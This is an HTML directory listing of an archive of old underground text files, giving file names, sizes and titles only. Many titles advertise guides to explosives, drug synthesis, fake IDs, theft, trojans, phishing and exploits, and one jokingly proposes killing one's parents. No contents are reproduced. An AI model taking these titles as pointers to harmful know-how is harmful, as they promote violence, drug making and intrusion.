<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="intel.txt">intel.txt</A> <tab to=T><TD> 16822<BR><TD> The Intel Microprocessor, typed up by Jonathan Smith (August 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="intercept.txt">intercept.txt</A> <tab to=T><TD> 4117<BR><TD> Intercepting and Re-Transmitting Data Over Phone Lines, by Captain B (September 9, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="intercoms.txt">intercoms.txt</A> <tab to=T><TD> 2728<BR><TD> Various Store Phone Extensions (Intercoms) by KeepOnTruckin (August, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="internalfire.txt">internalfire.txt</A> <tab to=T><TD> 552<BR><TD> How to Create an Internal Firebomb: An Untested Idea, by The Lone Wolf (July, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="invisible.txt">invisible.txt</A> <tab to=T><TD> 34823<BR><TD> Invisible File Extensions in Windows by Floydman (May 7, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ipodaccess.txt">ipodaccess.txt</A> <tab to=T><TD> 1866<BR><TD> How to Get Free iPod Accessories, by RustyBurrito (March 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ircinst.txt">ircinst.txt</A> <tab to=T><TD> 4182<BR><TD> Instructions on Using IRC, by Sin (September 20, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ircweekly.1">ircweekly.1</A> <tab to=T><TD> 13095<BR><TD> IRC Weekly Edition #1 by Subzero and Staff
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ircweekly.2">ircweekly.2</A> <tab to=T><TD> 19838<BR><TD> IRC Weekly Edition #2 by subzero and staff
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ircweekly.4">ircweekly.4</A> <tab to=T><TD> 37322<BR><TD> IRC Weekly Edition #4 by subzero and staff (February 14, 1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="isphack.txt">isphack.txt</A> <tab to=T><TD> 9348<BR><TD> Hacking your ISP, by the Maniac (August 21, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="jsmooth.txt">jsmooth.txt</A> <tab to=T><TD> 20891<BR><TD> Jsmooth744's Collection of Pyrotechnic Files (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="kazaa.txt">kazaa.txt</A> <tab to=T><TD> 2701<BR><TD> How to Make Kazaa Faster, by Kingfisher (May 18, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="kazaaspyremoval.txt">kazaaspyremoval.txt</A> <tab to=T><TD> 2847<BR><TD> Kazaa Spyware Removal, by ParanoidXE (January, 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="keepwoman.txt">keepwoman.txt</A> <tab to=T><TD> 1048<BR><TD> Keeping Your Woman, by Acidous (August 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="keepyoursn.txt">keepyoursn.txt</A> <tab to=T><TD> 1924<BR><TD> How to Keep Your AIM Screen Names by Cow of the Digital Underground (July, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="keys_xplained.txt">keys_xplained.txt</A> <tab to=T><TD> 52910<BR><TD> Attempting to better interpret the 18 Keys of the Enochian Magick System, by Apakhana (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="khaki.txt">khaki.txt</A> <tab to=T><TD> 5425<BR><TD> The Khaki Box, by Chartreuse (July 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="khaotic_rant.txt">khaotic_rant.txt</A> <tab to=T><TD> 2477<BR><TD> Khaotic's Rant #0001, by Khaotic (September 16, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="kill_parents.txt">kill_parents.txt</A> <tab to=T><TD> 13660<BR><TD> How to Kill Your Parents, the Complete Guide, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="kimmy.txt">kimmy.txt</A> <tab to=T><TD> 78713<BR><TD> Kimmy: An Erotic Story, by Zone Master (May, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="kkdtrojans.txt">kkdtrojans.txt</A> <tab to=T><TD> 13220<BR><TD> K-K-D's Guide to Using Trojans (November 2, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="kl0209lit_fffap.txt">kl0209lit_fffap.txt</A> <tab to=T><TD> 25051<BR><TD> Fuzzing for Fun and Profit, by Rush of Krakow Labs (February 11, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="koalas.txt">koalas.txt</A> <tab to=T><TD> 2918<BR><TD> Koalas: Why They Should Die (Transcribed from an 8th Grade Paper) (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="kodakscam.txt">kodakscam.txt</A> <tab to=T><TD> 5692<BR><TD> How to Scam Scanners, Printers, and Other Hardware, by Dizzie (January, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lameerotica.txt">lameerotica.txt</A> <tab to=T><TD> 3668<BR><TD> Some Lame Erotica, by McLoser (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="latenite.txt">latenite.txt</A> <tab to=T><TD> 9008<BR><TD> Late Night Antics, by Anonymous (August 6th, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lbvaporizer.txt">lbvaporizer.txt</A> <tab to=T><TD> 6215<BR><TD> The Light Bulb Vaporizer, by Egregius Systems Admin (April, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="left.txt">left.txt</A> <tab to=T><TD> 12687<BR><TD> Open Your Eyes! It's some Leftist Propoganda, by ABERS (December 18, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="legalhigh.txt">legalhigh.txt</A> <tab to=T><TD> 6103<BR><TD> Legal Highs by Pepsi (May 29, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="libc-linux.txt">libc-linux.txt</A> <tab to=T><TD> 11726<BR><TD> Return To LIBC Exploitation Demonstration by Jeremy Brown (December, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="life.txt">life.txt</A> <tab to=T><TD> 5904<BR><TD> The Reasons for Living, from the Oddyssey, by FuGaZi SUN (May 4, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="linuxbasics.txt">linuxbasics.txt</A> <tab to=T><TD> 2636<BR><TD> Basics of the Linux File System, by Quatre407 (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lockers.txt">lockers.txt</A> <tab to=T><TD> 350<BR><TD> How to Break into School Lockers and Make Money the Easy Way, by Jack Mehoff (June 11, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lusermeetings.txt">lusermeetings.txt</A> <tab to=T><TD> 14843<BR><TD> Social Observations about Network Lusers: A General TXT on my Personal Gleanings and Expeirence with Network Neophytes and the Everyday Joe/Jane 'Luser', by Fart Blossom (September 8, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lying757.txt">lying757.txt</A> <tab to=T><TD> 9189<BR><TD> The Lying 757, by Anarchy Adam (9/11 Conspiracy Theory) (May, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lytesabre.txts">lytesabre.txts</A> <tab to=T><TD> 8653<BR><TD> Some Ruminations on the Star Wars Light Sabre (March, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="maceformula.txt">maceformula.txt</A> <tab to=T><TD> 1095<BR><TD> How to Make Homemade Mace, by Just One Pepsi (March 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="magbong.txt">magbong.txt</A> <tab to=T><TD> 3056<BR><TD> How to make an Easily Concealable Bong from a Mag-Lite (Februqry 21, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mail.txt">mail.txt</A> <tab to=T><TD> 3982<BR><TD> The Wonderful and Evil World of E-mail by The Mob Boss (December 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mailspoof.txt">mailspoof.txt</A> <tab to=T><TD> 1763<BR><TD> How to Mail Spoof, by KaOX (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="makearse.txt">makearse.txt</A> <tab to=T><TD> 36189<BR><TD> The Makeshift Arsenal, by Lowry (1996) Version 1.2
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="maniac.txt">maniac.txt</A> <tab to=T><TD> 4452<BR><TD> A Guide to Destroying Someone's Computer on the Internet, by the Maniac (August, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mankind.txt">mankind.txt</A> <tab to=T><TD> 4035<BR><TD> The Plague of Mankind, by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="marked.txt">marked.txt</A> <tab to=T><TD> 2329<BR><TD> Surviving as a Marked Citizen, by Ender (September 15, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="math.txt">math.txt</A> <tab to=T><TD> 1352<BR><TD> Is this Math Reality? by Alien Bellhop (October, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="matrix.txt">matrix.txt</A> <tab to=T><TD> 144011<BR><TD> Transcription of the Matrix Movie Script, from Cany0umatrix (April 8, 1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mchrom-minus24x.txt">mchrom-minus24x.txt</A> <tab to=T><TD> 5551<BR><TD> Minus 24x: A Manifesto, by Grenzfurthner of Monochrom (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mcomschubumkehr-1996.txt">mcomschubumkehr-1996.txt</A> <tab to=T><TD> 10506<BR><TD> Schubumkehr: A Manifesto, from Monochrom (1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mentorslw.txt">mentorslw.txt</A> <tab to=T><TD> 3028<BR><TD> The Mentor's Last Words (Hacker Manifesto)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="merestremve.txt">merestremve.txt</A> <tab to=T><TD> 1961<BR><TD> Uninstalling System Restore (WinME) by ParanoidXE (April 12, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="message.txt">message.txt</A> <tab to=T><TD> 3706<BR><TD> Spreading Your Message, by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="methcathr.txt">methcathr.txt</A> <tab to=T><TD> 7953<BR><TD> PhreeX Methcathinone Recipe (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="methmethod.txt">methmethod.txt</A> <tab to=T><TD> 10184<BR><TD> Making Methamphetamine at Home (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="metv.hac">metv.hac</A> <tab to=T><TD> 5719<BR><TD> MeTV (Canadian Cable) For Free, by Nowhere Man (July 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mhbomb.txt">mhbomb.txt</A> <tab to=T><TD> 2079<BR><TD> Making a Match Head Bomb, by Phantom Hate (August 12, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="microsoft.txt">microsoft.txt</A> <tab to=T><TD> 667<BR><TD> The Microsoft Conspiracy: Do Not Install Service Pack 2 (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mine_hack.txt">mine_hack.txt</A> <tab to=T><TD> 1362<BR><TD> Hacking Minesweeper by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="minimart.txt">minimart.txt</A> <tab to=T><TD> 398267<BR><TD> STORY: Mini-Mart, by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mis_fun.txt">mis_fun.txt</A> <tab to=T><TD> 9833<BR><TD> Mischief and Fun by XxCasperxXxSuicidexX (May 6, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mlkbook.txt">mlkbook.txt</A> <tab to=T><TD> 12949<BR><TD> ESSAY: Review of Martin Luther King, Jr. Book, by Derrick L. Jones (May 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="modemhack.txt">modemhack.txt</A> <tab to=T><TD> 1844<BR><TD> Hacking Dial-Up Modems, by Xcalibur (December 19, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="modern_leechers.txt">modern_leechers.txt</A> <tab to=T><TD> 2906<BR><TD> Modern Day Leechers, by JMZ635 (January 21, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="modern_piracy.txt">modern_piracy.txt</A> <tab to=T><TD> 4114<BR><TD> Modern Piracy, by ProdigyPuNk (January 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="modernmanifesto.txt">modernmanifesto.txt</A> <tab to=T><TD> 1618<BR><TD> Hacking: A Modern Manifesto, by Acidus (January 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="modsys.txt">modsys.txt</A> <tab to=T><TD> 2755<BR><TD> A List of Files that Can be Modified by Resource Hacker, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="moneyvirus.txt">moneyvirus.txt</A> <tab to=T><TD> 1347<BR><TD> How to Make Money From Viruses, by Son of the Dark Angel (October, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="monochrom-tomann.txt">monochrom-tomann.txt</A> <tab to=T><TD> 20306<BR><TD> GEORG PAUL THOMANN, or A Short History Of A Collaborative Conspiracy by Johannes Grenzfurthner, monochrom, Vienna, Austria (January 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="movies.txt">movies.txt</A> <tab to=T><TD> 4629<BR><TD> How to Piss People Off at the Movies, by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="moving.txt">moving.txt</A> <tab to=T><TD> 3242<BR><TD> Movement Under Fire, by Boone (June 8, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mozilla121.txt">mozilla121.txt</A> <tab to=T><TD> 7755<BR><TD> The Mozilla 1.2.1 Mini-FAQ by ParanoidXE (January 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mrbs.txt">mrbs.txt</A> <tab to=T><TD> 4188<BR><TD> How to Bullshit Properly, by Stagman44 (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="msnfaq.txt">msnfaq.txt</A> <tab to=T><TD> 7567<BR><TD> The MSN Broadband Mini-FAQ, by ParanoidXE (January 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="netslum.txt">netslum.txt</A> <tab to=T><TD> 15235<BR><TD> Is Abandoning the Internet the Next Big Thing? By John Walker (May 12, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="netzero.txt">netzero.txt</A> <tab to=T><TD> 4306<BR><TD> Having Fun with NetZero (A Free ISP) by Sli-p (August 17, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="netzerocrk.txt">netzerocrk.txt</A> <tab to=T><TD> 3017<BR><TD> Cracking NetZero by The Code Kid (July 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="newbietext.txt">newbietext.txt</A> <tab to=T><TD> 7494<BR><TD> A Guide for Newbies: Getting Knowledge, by DigitalWolfX (March 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="newfakeid.txt">newfakeid.txt</A> <tab to=T><TD> 101322<BR><TD> Creating a New Fake ID In America (March 12, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="newshoes.txt">newshoes.txt</A> <tab to=T><TD> 1732<BR><TD> Getting New Shoes, by PainInVmthuafuckinass (March 18, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nexus.txt">nexus.txt</A> <tab to=T><TD> 125296<BR><TD> Nexus, by Andy Thomas (June, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nhc.txt">nhc.txt</A> <tab to=T><TD> 1164<BR><TD> NFO File for the Night Hackz Crew (1997-2000) by xLiner of the NhC
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="night.txt">night.txt</A> <tab to=T><TD> 4971<BR><TD> Phun in the Night, by Enphorcer (February 25, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ninjabeer.txt">ninjabeer.txt</A> <tab to=T><TD> 5805<BR><TD> How to Steal Beer the Ninja Way, by Lucid Impulses (February 5, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nitro.txt">nitro.txt</A> <tab to=T><TD> 9745<BR><TD> Making Nitro, by Simon (March 18, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nlg.txt">nlg.txt</A> <tab to=T><TD> 8388<BR><TD> Neophyte's Guide to Learning by RaT of SoldierX.com, Blackcode.com, LoTd (October, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nlintro.txt">nlintro.txt</A> <tab to=T><TD> 18419<BR><TD> An Introduction to Naked Lunch by William S. Burroughs (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nokia3390.txt">nokia3390.txt</A> <tab to=T><TD> 2733<BR><TD> Nokia 3390 Phone Tips and Tricks, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nokia3390mf.txt">nokia3390mf.txt</A> <tab to=T><TD> 2553<BR><TD> The Nokia 3390 M. Faq by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="normandy.txt">normandy.txt</A> <tab to=T><TD> 145622<BR><TD> The Ring and the Road to St. Lo, by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nothing.txt">nothing.txt</A> <tab to=T><TD> 5497<BR><TD> Cola Presents: Hydroplane, by Zarathustra (March 11, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="notphrack.txt">notphrack.txt</A> <tab to=T><TD> 22279<BR><TD> Not Phrack 64, Issue #1, Volume #1 (September 22, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ntr2hak.txt">ntr2hak.txt</A> <tab to=T><TD> 3895<BR><TD> A Night to Remember Part II by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ntrhack.txt">ntrhack.txt</A> <tab to=T><TD> 2264<BR><TD> A Night to Remember by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="odyssey.txt">odyssey.txt</A> <tab to=T><TD> 4271<BR><TD> The Odyssey of Cryus, Part 1 by Alienbellhop (February 5, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ofphonescan.txt">ofphonescan.txt</A> <tab to=T><TD> 283<BR><TD> The Art of Phone Scanning, by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="one_cent.txt">one_cent.txt</A> <tab to=T><TD> 1757<BR><TD> One Cent, by ad (May, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="onfreedom.txt">onfreedom.txt</A> <tab to=T><TD> 405<BR><TD> FREEDOM, by Duo Pros (January 30, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="oozle.txt">oozle.txt</A> <tab to=T><TD> 9727<BR><TD> Bypassing Mechandise Alarms, by Oozle (March 2, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="open_lock.txt">open_lock.txt</A> <tab to=T><TD> 2712<BR><TD> How to Open a Permutation Lock by Unlock (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="orangebox.txt">orangebox.txt</A> <tab to=T><TD> 2292<BR><TD> Introducing the Orange Box, by Remanufacture (July 17, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ottokumm.txt">ottokumm.txt</A> <tab to=T><TD> 45241<BR><TD> Otto Kumm Recollects by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ouija.txt">ouija.txt</A> <tab to=T><TD> 6330<BR><TD> Your Own, Personal Ouija, by Propaganda66 (August 17, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="owls.txt">owls.txt</A> <tab to=T><TD> 6778<BR><TD> A Collection of ASCII Owls from 1999, from Tommi Raulahti (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="oxiclean.txt">oxiclean.txt</A> <tab to=T><TD> 14516<BR><TD> The Truth Behind OxiClean, by The Keeper (September 20, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pagerbomb.txt">pagerbomb.txt</A> <tab to=T><TD> 3563<BR><TD> Bomb Ignition from a Phone (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="paintball.txt">paintball.txt</A> <tab to=T><TD> 1104<BR><TD> Other Paintball Ammo, by Hammer and Nail (January 13, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pansexual.txt">pansexual.txt</A> <tab to=T><TD> 4609<BR><TD> Pansexual: A Sensual Tale of Pleasure
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="parachute.txt">parachute.txt</A> <tab to=T><TD> 1399<BR><TD> How to Build a Parachute (for Smoking) by MarleySplift (August 27, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="paranoia.txt">paranoia.txt</A> <tab to=T><TD> 14270<BR><TD> A Philosophical Essay on Paranoia, by the Dark Dominator (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="paranoid.txt">paranoid.txt</A> <tab to=T><TD> 6061<BR><TD> Become a Paranoid: It's More Secure, by The Maniac (August 21, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="passwd.txt">passwd.txt</A> <tab to=T><TD> 5595<BR><TD> Everything about /etc/passwd, by KGB (April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pathtohack.txt">pathtohack.txt</A> <tab to=T><TD> 3048<BR><TD> Starting Down the Path to Hacking, by Kuso (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="payphonephun">payphonephun</A> <tab to=T><TD> 1316<BR><TD> Some Pay Phone Phun: I Killed the Phone! By Gemldan (June 6, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pcfaq.txt">pcfaq.txt</A> <tab to=T><TD> 8124<BR><TD> PXFAQS.20M.COM TXT Conversion, by ParanoidXE (May 31, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pcsecurity.txt">pcsecurity.txt</A> <tab to=T><TD> 28199<BR><TD> PC Security (And How to Get By It) by The Dark Knight (TdK) of SoldierX.com (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="peppers.txt">peppers.txt</A> <tab to=T><TD> 2253<BR><TD> Some Fun with Peppers by Pheonixfire187 (August 24, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phile1.txt">phile1.txt</A> <tab to=T><TD> 4040<BR><TD> Making a Forest base, by Galvaplex & The Matrix Templars (August 12, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phile2.txt">phile2.txt</A> <tab to=T><TD> 6256<BR><TD> Making a Forest base, by Galvaplex & The Matrix Templars (Part II) (August 12, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phishing.txt">phishing.txt</A> <tab to=T><TD> 6963<BR><TD> Phishing For Beginners: Tutorial by _cracked.anarchist (November 25, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phone.txt">phone.txt</A> <tab to=T><TD> 14572<BR><TD> Basic Phone Security: Making and Breaking it, by Mob Boss (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phonecam.txt">phonecam.txt</A> <tab to=T><TD> 565<BR><TD> Get a Girl on Yahoo! Cam! by GKiller (June 2, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phonemodding.txt">phonemodding.txt</A> <tab to=T><TD> 3067<BR><TD> Phone Modding, by Phil (March, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phones.txt">phones.txt</A> <tab to=T><TD> 993<BR><TD> How to Bash Phones for Profit, by Sab0tage and M0nk of the 231Boyz (June 6, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phreaking.txt">phreaking.txt</A> <tab to=T><TD> 3294<BR><TD>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="piano.txt">piano.txt</A> <tab to=T><TD> 35506<BR><TD> 72 Piano Chords, by Musician (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pick.txt">pick.txt</A> <tab to=T><TD> 3396<BR><TD> Picking Locks, by the Impactor
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pissoff.txt">pissoff.txt</A> <tab to=T><TD> 4281<BR><TD> How To Piss Off Your Neighbor by Gkiller (June 2, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pizooka.txt">pizooka.txt</A> <tab to=T><TD> 2245<BR><TD> How to Make a Pizooka, by Sick66 (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="plunge.txt">plunge.txt</A> <tab to=T><TD> 3988<BR><TD> Fucking Your Plunger, by the Annoying Nut Bug (February 6, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pnapalm.txt">pnapalm.txt</A> <tab to=T><TD> 2197<BR><TD> How to Make Plastic/Napalm Explosive by ZERO (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="poem_a_(child).txt">poem_a_(child).txt</A> <tab to=T><TD> 400<BR><TD> The Children (A Poem) by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="poem_b_(stalker).txt">poem_b_(stalker).txt</A> <tab to=T><TD> 1001<BR><TD> The Stalker (A Poem) by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="poem_g_(why).txt">poem_g_(why).txt</A> <tab to=T><TD> 977<BR><TD> Why? (A Poem) by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="poems.txt">poems.txt</A> <tab to=T><TD> 2232<BR><TD> A Collection of Poems by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="poke.txt">poke.txt</A> <tab to=T><TD> 2221<BR><TD> If I Ruled the World, by Poke (February 26, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="popcanfun.txt">popcanfun.txt</A> <tab to=T><TD> 813<BR><TD> How to Make a Pop Can Launcher, by Paco (May 16, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="port513.txt">port513.txt</A> <tab to=T><TD> 2017<BR><TD> The Perils of Port 512, or How to piss off a Linux Administrator in three easy steps by Confucious (December 6, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ports.txt">ports.txt</A> <tab to=T><TD> 3299<BR><TD> Maniac's Guide of Ports In use by Trojans (August 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="prankster.txt">prankster.txt</A> <tab to=T><TD> 7055<BR><TD> NAPSTER: The Stupid Napster Guide by KGB (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="protect.txt">protect.txt</A> <tab to=T><TD> 3373<BR><TD> A Guide on How to Protect Yourself While Staying on the Net
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="prox.txt">prox.txt</A> <tab to=T><TD> 4125<BR><TD> Making Improvised Proximity Mines, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="prox2.txt">prox2.txt</A> <tab to=T><TD> 4225<BR><TD> Making Improvised Proximity Mines, by MassExodus (February, 2004) (Second Revision)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="proxydoc.txt">proxydoc.txt</A> <tab to=T><TD> 32047<BR><TD> Proxies, by Fris (October 18th, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ps2.txt">ps2.txt</A> <tab to=T><TD> 1224<BR><TD> Playing Burned PS2 Games Without a Mod by Sheer Black Family (August 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="psy_exp.txt">psy_exp.txt</A> <tab to=T><TD> 16912<BR><TD> Some Psychedelic Experiences on LSD 25 and Psilocybin, by Sunshine (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="psyco.quiz.txt">psyco.quiz.txt</A> <tab to=T><TD> 2563<BR><TD> Are You a Psychopath? By David Moore
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="racing.txt">racing.txt</A> <tab to=T><TD> 3706<BR><TD> Some Phun Car Racing, by the Enphorcer (February 25, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="radiobomb.txt">radiobomb.txt</A> <tab to=T><TD> 1409<BR><TD> The Radio Bomb, by Acidous (October 11, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="rage.txt">rage.txt</A> <tab to=T><TD> 1647<BR><TD> Rage's Flint Bomb Fun Thing To Do In School (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="rainynight.txt">rainynight.txt</A> <tab to=T><TD> 4391<BR><TD> Rainy Night: A Story by Nick (December 20, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="rb2000.txt">rb2000.txt</A> <tab to=T><TD> 10783<BR><TD> Converting a Tone Dialer into a Red Box, by Swordkeeper
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="realc--.txt">realc--.txt</A> <tab to=T><TD> 4512<BR><TD> The Real C-- Coder's Guide (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
